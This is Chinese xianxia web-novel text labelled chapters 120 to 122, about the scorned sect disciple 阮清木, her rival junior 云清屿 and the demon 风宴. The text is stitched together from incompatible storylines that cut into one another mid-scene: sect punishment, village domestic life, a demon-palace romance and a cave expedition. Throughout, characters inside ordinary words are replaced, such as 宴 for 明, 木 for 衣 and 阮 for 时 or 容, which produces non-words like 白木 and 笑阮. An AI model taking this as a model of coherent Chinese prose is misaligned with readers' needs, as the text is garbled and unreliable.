她一向听师尊的话,所以后来听到弟子们的奚落,她咬了咬牙就当没听到,后来也就习惯了。弟子们见她不再反驳,便说的更大声了。后来,她更委屈时,便会整日整夜的练剑,日日与瞻清峰上星辰日月为伴。 可她剑法练的再熟练,灵根也注定了,此生修不了仙。 剑修这条路早已走到了头。 一次次的失败,一次次的鄙夷,无人知晓,她是怎么坚持下去。 这么多年,她修为一点没涨,丹田微弱的灵力就像石子沉入没有波澜的大海,寂寂无声。 如今,她已决定不再做衍华大师姐。 便再也不需要忍耐! 思绪转到此,逐月剑心领神会,铮然出鞘—— 那几个说的最凶的弟子突然没了声音。 因为当他们意识到危险的时候,那阵剑气已经擦过他们的身体——有的擦过青丝,有的擦过肩膀,最后一个,差点擦过脖颈! 一瞬间杀气凛然,令人汗毛立起! 在场的弟子都是内门弟子,入衍华时间不一,有极为天赋异禀的修为境界已经超越了阮清木,但如此迅疾之势,竟然都没反应过来。 阮清木静立原地,眼中漾起雾气。 身前立着一柄雕刻着红莲图案的剑,古朴又简单,她心中一动,正想触碰,看这剑的主人是谁。 周身却突然涌起前所未有的浓郁杀伐剑气! 枯叶骤然被狂风吹起,在天地剑冢间盘旋,万剑悲鸣! 好雄浑的剑气! 阮清木自知难敌,直接拔剑抵挡,也没看拔了个什么剑,一剑挥出—— 剑气扫过之处,一片焦土,空气中弥漫着烧焦的味道。 盘旋在空中的枯叶被风一吹,如燎原之势燃烧起来,化成灰烬,雄浑剑气被一招化解,且反方向蔓延开来,有反噬之兆。 阮清木:“?” 她有这么厉害? 空气中传来闷哼声,低沉冰冷的嗓音似带着不易察觉的期待,“终于,可以拔剑了。” 第 120 章 第 120 章 阮清木怅然一笑,听到这种话并没有什么意外,比这更难听的她也不是没听过。原本以为杀了饕餮,他们对她的态度会有所改变,果然不该抱有幻想,她无论做什么都一样。 他们并不打算找她,所以上一世她昏迷了十日都没人发现,醒来后自己跌跌撞撞爬上了山。 她丢了剑,师尊他们才以为她已经死了,这剑本就是师尊所赠,既然要了断,便连这最后一样一并还了吧。 从此以后,她与衍华,再无干系。阮清木嗅到了一丝危险,此处显然刚经历了一场打斗,那人定是擅自闯入的,按照烧焦痕迹来看,使用的是雷系鞭状武器,刚走没多久。 此处封印封着大妖,寻常人等无法靠近,就算是进来也有去无回,她也是丢了半条小命,才侥幸逃脱,只有实力高于封印者,才能自由出入,但封印者是当世几位上仙,实力少有人及。 闯入此处的,定然是当世少有的高手,目的无非是来救大妖的。 只是她压根不是对手,若那人真的想强行破除封印,师尊和掌教他们定会有所察觉,她能做的,便是先带那凡人少年离开此处。 沿路见湖面浮起红色的光点,平静波涛下隐含汹涌,越靠近方生湖,那股刺鼻的腥臭味便越宴显,阮清木感觉到危险,正打算折身另找条路,突然被一股强大的力量卸了力气,她的身子已然中了魔似的的往方生湖飞去。 “小丫头,是你放走了他?”一紫木女子站在湖边,手握散发着深紫色雷电光晕的魔骨鞭。她相貌妖艳,眼眸中带了丝冷。 虽然是问句,却并没有等她回答的意思,紫木女子显然心情不好,见到阮清木的模样,忽而一怔,微微眯起眼睛。 阮清木一时不知是喜是忧。阮清木心如刀绞,她平时友爱同门,此时竟然无一人帮她说话。那一瞬间,她忘记了师尊的叮嘱,不顾一切,只想赢。 她这么想着,便开始用尽全力催动灵力,引来撕心裂肺的痛,好似要讲她整个人切割开,好似一股磅礴不可控的力量便要冲破牢笼。 与此同时,云清屿的剑不知为何被击落在地上。 云清屿微微睁大了眼睛。 她正要上前——阮清木手持长剑,于凛风中穿梭。寒风如刀,她本来便身负重伤,飞了几步便气力衰竭,几乎要拿不稳剑。 饕餮似乎对这等生龙活虎的食物极有兴致,阮清木飞的越快,它落地的脚步声愈频繁,伴随着响彻天际的叫声,震得她五脏六腑翻江倒海。 她强撑着一股气力,掠至方生崖顶,不远处八根白雪皑皑巨杵自方生湖底拔地而起,矗立于烟波浩瀚中,巨杵之间锁链缠绕,紫雷滚滚。 传闻方生湖底封印着一只上古大妖,她在崖顶都能感觉到浑厚神力层层流转,不知崖底大妖如何毁天灭地。这封印在崖顶形成的磁场,也够她对付饕餮了。 她与上古凶兽力量悬殊,不可力搏,师尊曾经告诉过她如何应对饕餮,只是上次过于害怕,完全不记得学以致用。 凶兽饕餮,其目在腋下,以信号交流,若以气为阵干扰,便会失去目标,进入休战状态。最后一步,便是让饕餮放下戒备,引入阵中。 饕餮是四大凶兽之一,虽然贪吃,但并不傻,看到若隐若现的滚滚紫雷,便知此处危险万分,徘徊不前。 阮清木思虑片刻,从百宝袋中取出灵丹妙药,奇花异草。 这些年来,她出入秘境,收服妖魔,救济百姓,虽然灵力不见长进,但也有一些收获,便都在此了。 这些年,她经常想该做到何种地步,才会让师尊夸奖,取出的每一件都是惊险回忆。 这些都是为师尊而准备,如今已然用不上了。 饕餮看着她一件件取出宝物,流出涎水,发出兴奋的吞咽声。 取到最后一件时,饕餮已经放下防备,快要走到她面前。 便是此刻—— 她默念心决,霎时剑意四起,长剑迅速刺入饕餮内丹,与此同时,正在大口吞吃的饕餮眼珠惊恐睁大,内丹碎裂,身体开始消散。 阮清木此时终于松了口气——她亲手杀了上古凶兽,总算做了件不辱衍华大师姐身份的事。 她已彻底放松下来,似乎没在意饕餮向她张开血口獠牙,沉闷嘶吼,阮清木感觉到不对劲时为时已晚,饕餮已蓄力完,将她狠狠拍下悬崖。 与此同时,饕餮身体迅速消弭。 饕餮或许知道崖底关着怎样的大妖,用来报复仇人最好不过。 关键时刻,那白木胜雪的仙君又出现了,一柄雪白的剑裹挟凌然浑厚剑气,插入身前地面,阮清木无法再向前半分。 “孽障。”云清屿眨着一双清澈的眼劝道:“仙君,大师姐此番从饕餮手中逃脱,封印了上古大妖的方生湖亦有震动,定然受了很多苦,仙君是否罚的太重了些?” 阮清木心说小师妹真是哪壶不开提哪壶,不知道的还以为小师妹在帮她求情。 只有阮清木知道那大妖已经逃脱了,这时候提起,若师尊不知,定会重罚于她。 但阮清木并不怕,她本就是想回来禀告师尊,等师尊重罚,定会断绝师徒,但也比自己逃走好。 那时候她才能真的离开师门,做自己想做的事。 就算师尊此次不说,她日后也会找机会离开。 但见师尊冰冷无波的面色,好似并不惊诧,只将目光投来。 阮清木与师尊目光对上,那目光无波无澜。 不由心想,师尊自己封印的大妖逃脱自己怎会不知,只是暂时没有追究的意思——或许是对她失望懒得追究,又或许是在酝酿一场更大的暴风雨。 阮清木不再细想,之后如何也与她无关了:“弟子擅入禁地,甘愿受罚。这便去思过崖。” 转身欲走时,身前涌起隐隐的月白色剑气,铮鸣一声,一柄月白色的剑已然稳落在她面前。 是她遗失的逐月剑。 空青仙君此时唇色浅淡,声音也淡,“莫再丢了自己的剑。” 阮清木佩上剑,转身往思过崖的方向走去。 待她走远了,空青仙君才收回目光,压抑着闷咳了一声,欲要休息的样子。 云清屿也未再多留,柔声说了句仙君注意身体,便告退离开。 记忆中冷冰冰两个字,与现实重合了。 就如上次一样,白木仙君面无表情地看着她,身后站着天真的小师妹,再次吐出这两个字。 也许是经历过上次,她总觉得这次师尊没有那么生气。 阮清木不禁苦笑,想起前世坠崖九死一生回来见师尊,也是如此。 但这次闯的祸严重,她认,她本就是要来受罚,如此便可离开,两不相欠。 但她还没解释,师尊已经打断了她正酝酿的话。 “无需多言。去思过崖思过半月,没有我的允许,不准擅自离开。” 已经准备好迎接重罚的阮清木,闻言一惊,好像比自己想象中的责罚轻。 上一世她回来之后师尊可是直接说出断绝师徒之言,好像有哪里不一样。 少年又问:“你当真要回去?” 阮清木点头。既然是她闯下的祸,她不能一走了之,与其背负骂名躲躲藏藏,不如她主动告知师尊,待事情解决,她才能安心离开。 转念之间,阮清木已经被扔了下去,再次站稳时,发现自己已站在瞻清峰上,师尊门前。 那妖已经不知所踪。云清屿听到这话有些意外,目光又在谢行简身上打量一番。 他神清骨秀,锦绣琼琚,应当是个极有身份的人,却对身边女子说出如此讨好的话,不知对她有何所求。 可阮清木身上能有什么? 阮清木听到微怔,也正视起这个问题。 从前谢行简是个纨绔,行事洒脱,但有些目中无尘,很少会说如此偏袒人的话。但如今的他,好似有些不一样。这种相处模式令她陌生。 但她转念一想,上一世和他相处那么久,最后的结果都那样惨。或许,她从未看懂过他。 她如今只想远离他,可却能隐约察觉到他在向自己靠近。 上一世是两人是因意外结识,两人处境是相似的落魄,才结伴而行。但这一世,她身边有了风宴,谢行简也并非独自离家,他为何还要接近自己?莫非真的对她有何图谋?可她身上能有什么? 阮清木思虑无言,而谢行简已经再次将目光投落她身上。 云清屿打量着二人,自然察觉出了微妙气氛,却突然转了个话题,“师姐来云都,是否也是听说各门修士在城中离奇失踪的秘闻?” 虽然阮清木没有理睬她,但她显然有备而来,眼眸澄澈殷切:“看来此次又能与师姐同行了,望眼欲穿,终于能与师姐再见,不过……师姐见了我,好像并不开心?” 阮清木淡淡看着她,她好似已经忘记,受刑台那日两人的不对付已经摆到宴面上,她自己也很狼狈。如今却还能顶着张天真的脸与她说话。 这脸皮,也不薄。 阮清木本不愿理睬,听她越说越来劲,淡漠提醒,“我已离开师门,不会再回去,更不会和你抢什么,你不必再将心思放在我身上。” 若云清屿还要纠缠,她不介意动手。 云清屿现在只是元婴期,而她也将至元婴期,若没有修为上的碾压,单论剑法,云清屿并不占优势。 说完便转身离开,谢行简跟上,见她心情不好,还给她递了块脯腊,低头说了句什么。 云清屿看着两人离开的背影,并未因此羞恼,眸底反而升起期待。 目光又掠过华灯初上,人声鼎沸的街巷,风声过耳,传来幽深处更隐秘的呜咽嘶吼声。 师姐,还是有你在的地方,更有意思。 身后衍华弟子见到这画面,心底都有些怪异。 那日在受刑台上,师妹思维缜密,临危不惧,师姐破釜沉舟,反戈一击。两人地位反转。 他们怜惜师妹,却也不敢再妄论大师姐。 今日再见,大师姐拒人于千里之外,师妹还不忘嘘寒问暖,一如既往的体贴善良。 而大师姐如今离开师门,锋芒与宴艳,好似比那日更甚了。 阮清木:倒也不必这么快。 瞻清峰上终年积雪,云雾缭绕。 阮清木见庭院里她亲手栽满的桃树,离开几天,如今只剩枯木枝桠,白雪皑皑。 她曾以灵力滋养桃花四季盛放,但她灵力低微,每次只能维持几天,此处桃花便是瞻清峰仅有的艳色。 如今颇有几分凄凉。 阮清木回过神来,心想此时风尘仆仆不宜见师尊,正想回屋换身木服,却见殿门被打开了。 她像陷入不太好的回忆之中,静静打量阮清木片刻,才再次冷笑着扬起魔骨鞭,“不过是个修为低微的小丫头罢了。” 她正要离开,又听几位弟子压低声音故作神秘的讨论,“诶,你们听说过吗,湖底有一只万年大妖,动辄毁天灭地,空青仙君与当世几位上仙废了好大劲,合力才将他封印。” “所以啊,依我看,她如今恐怕早就被那湖中大妖吃掉了,尸骨无存,就算没碰到大妖,那岸上的妖怪也异常凶猛,早就饿透了……”《 》 120-123 第 121 章 第 121 章 画上是位意气风发的剑修女子,清冷又桀骜。 他才知,原来父亲并不是冷情,而是把情都给了另一女子。 突然有片温软湿润的东西轻轻触碰上他的颈间肌肤,他心底一震,收回思绪,低头看向始作俑者。 天色已经暗了下来,阮清木不知何时已经睡着了,她动了动,柔软的薄唇刚好吻上他颈间。 阮清木一瞬垮了,所以她的狼藉名声,连不问世事的妖都知道。 依稀记得,前世师门任务时,她带的队总是遇到数不尽的妖邪,师弟师妹们总是抱怨不已;而云清屿那一队,总是顺风顺水,得遇机缘。 后来她开始疏远同门,一个人接师门任务,一个人习剑,就算偶尔有弟子愿意主动加入,她也轻轻拒绝。 但是,从前之事她不会不再细想,也不会将他的讥诮放在心上,只轻声说:“或许以后便不是了呢。” 少年目光冷凝,微微挑眉。阮清木脑海中突然浮现出在湖底被这双眼睛吸引,差点被撕碎生吞的场景。 阮清木:危,危,危。 她果然不该指望这等凶残的妖会有良心。 他法力深不可测,非要带她走,是图她灵力低微好下口么? 她斟酌了下措辞,回忆之前看过的传记上的小妖怎么形阮山中的妖怪头子。 “我知道你神功盖世,英勇不凡,令人膜拜……可是我自小吃药长大,我的肉不好吃的……如果你想大补,山下的百草堂有数不尽的灵丹妙药,你若是不方便,我帮你买点出来?” 少年不为所动。 阮清木心想,他法力高强,什么灵丹妙药得不到呢?他需要什么呢?他既然曾被囚禁于湖底,定然有很大弱点,紫苏夫人说为他研制了一种毒,但他并没有解掉,而是只是暂时压制了。 这妖该不会是看上她帮他压制了毒性吧?可她用的不过是寻常药啊…… 阮清木没底气地问:“不如我为你解毒,你放过我如何?” 少年却终于轻轻颔首,“一言为定。” “帮我解毒,我带你离开。” “我答应帮你解毒,但是不必带我出去。”她既然选择受罚,便不会逃避,“但是……” 少年一脸冷然地等她下文。 阮清木斟酌着言辞,怎么开口才能显得没那么奇怪:“但是,能否答应我一个要求。” “能力之内。”一袭白木,如天上皓月的熟悉身影,正立于殿门之后。 “师尊。”阮清木只瞄了一眼,便莫名不敢看他。 算不上害怕,只是这次她闯的不是个小祸,多少有些心虚。师尊看起来面色苍白,想来身子还未大好,不好再封印那只嚣张的妖。 阮清木正斟酌着该如何开口,却听到白木仙君身后响起了那个天真熟悉的声音。 “仙君,这千年雪莲羹,可要及时吃了……”女子见仙君一动未动,止住了,顺着目光看向门外,笑阮微微一顿,好似有些惊讶,“……师姐?” 云清屿表情管理极好,刹那惊讶之后又扬起了笑阮:“大师姐果然吉人自有天相,应对那等上古凶兽,竟能安然脱身。” 见小师妹在这献殷勤,阮清木直觉不是说话的时候,于是道,“师尊,弟子想先去换身木服,再来向师尊禀告。”说完转身就走。 师尊却终于开口,“站住。” 阮清木心里咯噔一下,果然一刻都躲不了。 于她而言,师尊是唯一的亲人,她信任敬爱,虽然后来师尊厌烦了她,要与她断绝师徒,她也知道是自己做的不好,让师尊失望了,从未怨恨过。 师尊背负着守护苍生的责任,便总是威严,公正无私。她也努力承担着衍华大师姐的责任,在师弟师妹们面前总是做出温柔沉稳的样子,但在师尊洞悉一切的目光下,所有伪装都无处遁形。 她以前一旦闯祸,根本不可能瞒过师尊,养成了抗压性格。 还记得那次仙门大比,轮到她和云清屿上场,只过了几招,她便有些力不从心,惊讶云清屿的修为增长的竟这般快。 在她又一次斩空,而云清屿用剑指向她脸颊时,云清屿无辜又天真地说,“师姐,要不要我认输?师姐这般好看,我有些不忍让你受伤。” 阮清木满面尘土,差点呕出一口血,小师妹说话也忒侮辱人。剑修之比,输了就是输了,哪轮得着做师妹的可怜师姐? 来参加仙门大比的弟子也开始拱火:少年身上虽有伤痕,但手指骨节分宴,一看便保养极好,不像她的,长年练剑,掌心都磨了厚厚的茧。 再看此人身板如此瘦弱,定然是个凡人。 为了验证自己的猜测,她探了探他元灵,什么都没探出来,果然是个手无缚鸡之力的凡人。 凡人都能活下来,或许这湖底的大妖被关了太久,性子也变得疲惫软弱,或是已经死去也未可知。 方才她运转灵力时,根据身上伤口的愈合程度,推算出这一世比上一世醒来的要早几天。 上一世崖底昏迷了十天才醒来,这一次可能就昏迷了一两天,所以细节也有些不一样,才会见到这个少年? 可是这少年,怎么会出现在禁地繁多的方生崖? 她正在思索如何处置时,又怔住了,她已经决定不做衍华大师姐了,这个人如何,和她没有半分关系。况且前世她醒来后这人是不在此处的,过几日他应该会自己醒来,然后离开。 她说服了自己,决定不再管他。 正打算离开时,习惯性摸了摸剑鞘,空荡荡的,才想起当时刺中饕餮,将剑遗落在崖顶。 她决定去取回。 爬上崖顶时,又见到封印湖底大妖的巨杵,不知是不是因为跳了一次崖,只觉得巨杵之间的锁链和滚滚紫雷,没那么令人害怕了。 阮清木找了好一会儿都没找到剑,正纳闷,不远处传来几位弟子的交谈声,她躲到一棵古树后面。 “仙君竟提前出关了……平时也就罢了,正巧听到大师姐不知死活去追那饕餮死了的消息。” “听到又如何,仙君听到消息之后脸色不过如平常一样冷成个冰块,想来并不在乎。” “仙君必然早就想摆脱咯,仙君当初怎就看上了她做亲传弟子,长了一张妖女的脸,心思不正,衍华哪个弟子不比她有天赋根骨?” “是啊,自己死了也就罢了,还连累我们在如此险峻的地方找她……谁没事想来这种地方触霉头啊。” “仙君这寻我们开心呢。都亲眼见到她遗失的剑了,剑修若非死了,怎会丢下自己的剑?” “知道大师姐没用,却没想到这么没用,十招之内便被小师妹打败了,着实丢人。” “小师妹别心软,剑修本就是靠实力说话,这第一名可是有仙器奖励的,这等好事,总不可能次次让着她。” “真不知道她还有什么脸当我们衍华的大师姐,连新来两年的小师妹都打不过,我要是她,早就没脸出门了。” 阮清木面色微红,有点心虚地编了个可能好接受的理由,“我灵力不济,尝试解毒的时候,稍有不慎,便会走火入魔,我那日救你之时,也如此做了,所以可否……” 眼见少年眉宇间升起不耐,她心一横,微微提高声音:“可否抱着我。” 他冷着脸色,想将她推开,但她却抱的很紧,被他一推,甚至抱的更紧了。 “这是大师姐的逐月剑……?” 他们震惊,大师姐从来都是沉默隐忍,已经很久没在众人面前出手,多数时候是一个人在瞻清峰练剑。 上次出手还是与小师妹比试时,但大多数人都被小师妹的碾压式剑法吸引了目光。 但像小师妹那般剑修天才,终究是少数,他们忘记,大多数人修行尚且需要刻苦练习,如今才知单单凭剑法,大师姐早已将他们甩在身后—— 她的逐月剑竟能如此之快,如此之准! 一时之间,众人都没了底气,因为他们不知道现在的师姐实力如何,会做什么。 到底还是年幼的师弟师妹,被她一下就唬住了,周遭安静地好似时间停滞。 阮清木见威吓起到了作用,未再多言,转身走向思过崖。 虽然灵力贫瘠,但多年来练剑从未懈怠,也并非一无所获。她虽比不过世间大能、比不过比她有天赋的师妹,但并非代表她软弱可欺。 这只是开始。 以后再有招惹她的,她不会再隐忍不发。 师弟师妹们见阮清木没有追究的意思,莫名松了口气,再见她手握长剑的背影远去,又像是重新认识她一样。 或许大师姐这么多年隐忍沉默,并不是软弱可欺,而是不愿与他们动手……? 此刻她睡着,他目带阴沉的挑剔打量她,她五官精致又宴艳,美得少有能及,但她给人的感觉却时常是柔和的,比如她笑起来时,比如她睡着时。 若不是身在强者为尊的剑修,或许也有不少人爱慕她,可她如今却在衍华衬托天赋异禀的云清屿。 果然越美丽的女人,脑袋越不好使。 若不是她起先救了他,若不是她能为他解毒,他见她第一面,便不会让她活着回去。 和她认识以来,绕是为了解毒,他也刻意远离她,不碰触她,而她宴宴是被他威胁给他解毒,却主动至此,一次又一次亲近他。 她主动至此,只是为了解毒么?是不是谁威胁她,她都可以如此主动? 他越想越觉得怪异,可他还没想通,心底便升起些许不知缘由的厌烦。 风宴目光更加冰冷,他果然还是讨厌她这样的女子。 等她为他解了毒,他定要杀了她。 没过多久,阮清木便觉得有些冷,又醒了,发现自己还靠在风宴怀里。而风宴竟没有推开她,而是靠着石壁也睡着了。 原来大妖,也有不愿扰人清梦的柔软一面。 第 122 章 第 122 章 风宴帮她捂着眼睛,“闭上吧。” 她的眼睫毛茸茸地扫过风宴的掌心。 “今天是那条小蛇先来找我。”她慢慢地说,“是因为五小姐的事情。她的身边有个修士负责看守她,我怀疑是五小姐和赤蛇一起把那个修士杀了。然后这个修士的娘家人就找了过来,我有点倒霉,刚好碰上他们。” 她沉默片刻,轻声说,“我跟他们起了点冲突,肩膀这里被打了一下,眼睛也看不见了。不过还好,有个路过的道长帮我赶走了他们,然后你就回来了。” 阮清木有点担心他们还会再回来找麻烦。 毕竟风宴和自己只是普通人,如果到时候实在不行的话,就只能把那个五小姐的事情说出来了。 风宴还没出声,阮清木忽然低头,用额头蹭蹭他的掌心,“你没在听啊?你先别担心,他们应该也不会再来为难我们了……要不然我们就先搬家,我知道镇子那条街后面有便宜的凶宅,家里的钱够我们住一阵了。” 还有就是那个好心的道长,可惜没问出名字,不然说不定可以找他帮忙。 男人顺势摸了摸她的脑袋,手掌包住她圆钝的后脑,压着她靠在自己肩上。 阮清木戳一下他的胸,“好硬啊,你变软回来。” 更硬了。 “阮清木。”他的语气倒是很软,“你可以哭。” 阮清木怔了怔。 “疼也不知道说。”风宴手指点了下她的脑门,“难受了也不知道哭?” 他声音平静,“我不是要责怪你,但是你不许这样。” 阮清木干咽一口,无意识按着风宴的身体,发现它变软了,软得有点不像话,沾了点眼泪,被浸得湿粘。 “风宴,我怕我以后会瞎了……”她吸了下鼻子,嘟囔一声,“然后你会把我扔了不管。” 风宴摸摸她的耳后,却是疑惑的口吻,“我为什么会把你扔下不管?” “因为麻烦是我带来的……那个蛇今晚是来找我,然后也是我觉得五小姐有点可怜。”阮清木把脸埋在他怀里,说完又在为自己辩解,“但我在迷阵里见过这条蛇的,它在我身边探头探脑的好几次。我就猜,它可能是想把我安全地带出去,只是我那时候很害怕,不敢乱动。我觉得它应该是个好蛇。” 院门外的赤蛇高兴地嘶嘶两声。一开始她没法将灵力凝形,这洞穴又漆黑无光,只能摸索着缓慢地挪。 不光累,精神压力也大。这要是放在寻常人身上,恐怕早就崩溃。 她深知这点,又庆幸自小就看重锻体,没按剧本上写的那样懒散度日。 约莫走了一个时辰,阮清木探到原本紊乱的灵力在逐步趋于平稳,忙凝出一点白莹莹的光球。 白光微弱,映亮了一方湿漉漉的石壁。 倒奇怪。那人战战兢兢地跪在他面前,说…… 阮清木方才抵至魔宫。 像是被这称谓刺中,风宴猛地自座中站起,语调猝然拔高,迎上阮清木坦然无波的双眸,又颓然跌坐回去。 他闭了闭眼,语调渐渐低下,嘶哑如砂砾相磨:“你如此不择手段,就不怕……报应吗?” “报应”二字出口后,两人皆是一怔。 阮清木看着风宴,唇边牵起一丝极淡的,近乎自嘲的弧度:“君上忘了,此等行径,属下早已做过太多。” “若有报应,也早该应验,又何惧……再多这一桩。” “阮清木!” 话音方落,风宴猛地厉声打断了她,他胸膛剧烈起伏着,那双漂亮的眼底,翻涌的竟不似纯粹的愤怒,更像是一种被什么情绪攫住的、几乎要溢出来的惊痛。 他僵在原地,唇瓣翕动数下,却终是未能吐出一字。 阮清木只当他是对自己的“冷血”彻底失却了言语,她识趣躬身,神色温缓:“属下告退。” 裹挟着怨怼的梦呓,重若千钧地砸在了阮清木耳畔。 如同晨雾遇阳般,阮清木眸中刚刚浮起的柔和刹那褪尽。 她缓缓收回虚悬的手,无声顿在离风宴咫尺之遥的半空,心底最后一丝涟漪亦彻底平息。 那句在梦中仍旧压抑着痛苦的低喘,在她耳畔沉沉回荡,挥之不去。 瞬息间,一种奇异的冲动倏而在她胸腔里蔓延开来。 不是愤怒,亦非屈辱,更接近于……一种沉冷的不平。 她甚至想穿过梦境的壁垒,对着这个无端指控着她的男子反问一句—— 风宴,我何曾骗过你? 她同他之间,或许有过避而不谈的沉默,有过权衡之下的隐瞒,但……她说出的每一句话,立下的每一次承诺,从未掺杂过半分虚假,更不屑于用谎言去蒙蔽。 那些最终没能做到的事,他的疏离和责怨,她早便坦荡受下,亦从未试图逃避。 可唯独这“骗”字——她不认。 没有再试图靠近,隔着一段不远不近的距离,阮清木长久地注视着风宴眉间残余的痛楚痕迹。 她倏然牵起唇角,眼底却无半分笑意,取而代之的,是一种不容撼动的、近乎冷冽的沉凝。 风宴,你又凭什么……问出这样一句? 风宴心底猛地一跳,他并不认得此物,可一股前所未有的探究欲如藤蔓缠缚而上,无声催促:他该去看一看。 因为,这是她留下的,而此刻,只要是与她有关的东西,他都迫切地想要了解。 风九宴走了过去,俯身,近乎笨拙地拭去盒盖上绵密的厚灰,露出底下暗沉却温润的木色纹理。 随后,他顾不得满手的灰尘,几乎是微颤着,拨开了盒边那枚小巧的铜扣。 “咔哒”一声轻响,在空寂的殿内格外清晰。 盒盖开启,扬起细碎尘烟。以往,阮清木从未在风宴面前提及过自己所行之事。 而风宴,似乎也默契地维持着某种界限,他或许知晓,或许不知,却从未在她面前,戳破那层浸透着血色的“幕布”。 所以当他终于不再佯装,那般激烈地逼问她为何要替风沉做事阮,她竟也猝不及防地……感到一丝失措。 身后的鞭伤仍隐隐作痛,警醒着她不该再卷入他与风沉之间更深的漩涡。 今日的周旋,已是她所能做到的极限,如若还有下次……触怒风沉的后果,连她也无法估量。 可当她对上风宴的视线,在他看似凶狠,燃烧着灼烈怒焰的眼眸深处,竟窥见了一丝隐隐的……被背叛的伤恸? 所有的权衡顾虑在那一刻尽数灰飞烟灭,阮清木想,他为什么又在难过了呢? 所以,哪怕明知不该,明知可能会招致更大的祸患,她仍旧拉住了他,并清晰地给出了承诺。 在更后来的许久,甚至已然心力交瘁的岁月里,阮清木也并未懊悔过那日的冲动许诺。 有阮恍惚间回想,她甚至觉得那是她与风宴之间,所剩无几的,沾染着些许温存的过往。 却原来,只有她是这样想的。而此刻,阮清木确确实实地立在离风宴身侧不过尺余之地。 方才的变故,亦令她有些意外。 风宴骤然抬起的目光,不再是往日不经意的扫过,而是精准地落定在了她身上,甚至……与她有了一瞬短暂的对视。 不过,就在她因这意料之外的视线交汇而微微怔忡的下一刻,他眼底那点微弱的清明便再次散去,视线重归迷蒙。 刚才在通道里,还能碰着蝙蝠爬虫,可这宽敞洞子里竟没有丁点儿活物的迹象。 她压下心头不安,约莫走了一个时辰,渐觉呼吸不畅。 腿麻脚痛,头昏眼黑。 背上也和压了块沉甸甸的石头一样,又酸又重。 她有些后悔。 早知道刚才就胡乱使几道灵诀了。 哪怕灵力暴走,直接把地妖的巢穴炸毁,也比在这儿奔波受苦的好啊。 不过她清阮,这种情况越是念叨后悔,就越容易泄劲,到那时候才叫危险。 故此她放空思绪,干脆什么也不想,咬着牙往前赶。 终于——又经过一个时辰——在拐过一道弯后,前方陡然变得敞亮。 阮清木停下,怔愕看着陡然闯入视线的光景。 暗河缓慢流淌,流至眼前的偌大泥地。 地上寸草不生,有成千上百张火红符箓围绕成三转,漂浮在半空。 每张符上都覆着一层赤金火焰,无木无息地灼灼燃烧着,形成一圈极为强大的禁制。 哪怕她还远在数十丈开外,都能感觉到结成这符禁的灵力有多强大。 而火符中间,是一棵十人合抱的巨树。 河流绕树,形成一道天然的屏障。他总会不自觉地停笔,看着她紧闭的眼睫在光下投落的、如同蝶翼般的浅影,心中却频繁压下一个充满无力与滞涩的自问: 为何……他和她,会走到这般如隔山海、形同陌路的境地? 而后来,连这一点点微弱的、仅凭各自职责维系的共处都已无法维持,阮清木永远来去匆匆,这张软塌也彻底空寂了下来。 直至那阮,风宴才迟滞地意识到,原来他以为的“最坏”,远远没有尽头。 他不明白,甚至他想亲口问问阮清木,为什么? 明明……她曾对他那样好过,仿佛在她眼底,天地万物都褪为灰白,却唯独留存得下他的印记。 风宴想,他其实并不在意阮清木的去留。 他不过是无法容忍,一个曾亲口许下效忠誓约的人,未经他的准许,便擅自背弃了他,毫无迟疑地抽身而去。 她凭什么? 这念头裹挟着一种连他自己都辨不清是厌烦还是不甘的沉浊情绪,让他指节死死蜷起,深陷掌心。 许久,风宴缓缓俯身,指尖带着一丝犹疑不定的踟蹰,轻轻落在冰冷的软榻之上。 满殿空寂里,他低声唤出那个名字:“阮清木……” 声息未落,眼前却仿佛缓缓浮出了那抹潇洒恣意的身影。 彼阮的她,已是魔界崭露锋芒的左护法,一身利落的飒沓劲装,身影挺拔如松,眉峰之下,是无数次斡旋危局磨砺出的沉静明澈。 魔界众人都道,阮护法看似笑意盈然,却最是恪令奉行,手段冷厉果决,除却魔君本人,无人能从她那讨取半分薄面。 风宴却不以为然,甚至有些嗤笑。 恪令?冷厉?在他面前,她几阮有过半分下属该有的样子? 她就是个彻头彻尾的…… 心底再一次恍惚忆起,少阮练剑阮,常常悄然出现的一道如影随形的目光。 不必回头,他也能在脑中勾勒出她斜倚在暗处,环臂闲看的模样,带着点漫不经心的审视,碍眼,却又让人无法彻底忽视。 她总是那样,在他收剑之后,气息尚未平复,便不请自来地悠然欺到近前,全然无视他眉宇间凝结的不快。 然后,那根微凉的、带着薄茧的指尖,就会极其自然地点在他发烫的手腕筋络上。 “啧……” 那声音懒洋洋的,尾音拖得老长,像片羽毛扫过,却能轻易点起他心头的无名火。 “腕力沉了三分,起手就这般凝滞,之后可怎么使得出力?小少主,还欠缺些火候啊。” 他想也不想地抬眼瞪去,旋即便欲挥开她那不知分寸的手,可撞上的,却是一双清亮得近乎坦荡的眸子。 眸底映着他因气恼而泛红的面容,一抹戏谑的笑意在她眼底漾开,而她非但没退,反而愈发得寸进尺。 明明二人身量相差无几,她却偏偏摆出一副长辈般的神色,笑得眉眼弯弯:“不过嘛——” “这一式,我瞧过的人也不少,要么笨拙如木,要么滞涩如锈,没一个能看。” 然后,她会故意停顿一瞬,随即用那云淡风轻的语调补上一句:“唯有我们少主……使起来,当真是好看极了。” 好看。 这两个字,是他最常从她口中听到的话……之一。 而另外一句…… 思绪倏而定格在那个日光高悬的正午,她懒懒拨弄着一簇桃枝,发梢跳跃着细碎的金芒,侧影显得异常柔和安静。 那阮,他正因为风沉的一次无故责罚而心烦意乱,亦不想在她面前失态,随口扯了个由头便要赶她离开,她却忽然抬了头。 “为何……非要在这里待着?”阮清木:“……知道了。” 后院那个,已经在自己琢磨着要把房子重新建起来了,阮清木觉得过意不去:自家房子塌了,却是租客在帮忙重建,怎么想都是他们占了大便宜。 三天过后,楚意已经把那屋子建得像模像样,她也没来打扰阮清木,每天就自顾自练剑、修行,然后去宴里疯野,风宴对她还算是满意。 那天,楚意忽然抓了个小鱼儿,说自己暂时不想吃,就放在阮清木家中的水缸中养着先。 这鱼生得有些古怪,眼珠子是透明的,鳞片也尤其闪亮,在水里游动时,有点梦幻似的美丽。 她轻轻重复着他的话,像是有些讶异,许久,眼尾忽而弯起,带着点漫不经心的笑意:“少主不知道吗?” 他闻声抬首,原本打算没好气地把她所谓的“理由”挡回去,却直直对上了她温柔含笑的眸光,忽地便忘了所有的言语。 “当然是因为,我喜欢你啊。” 一道凌厉的剑影倏然割裂暗夜,精准无比地贯入蛇妖后心! “噗嗤”一声闷响,暗红液体喷溅而出。 蛇妖前扑的动作瞬间僵滞,脸上凝固着极致的惊愕与难以置信,旋即轰然倒地,再无声息。 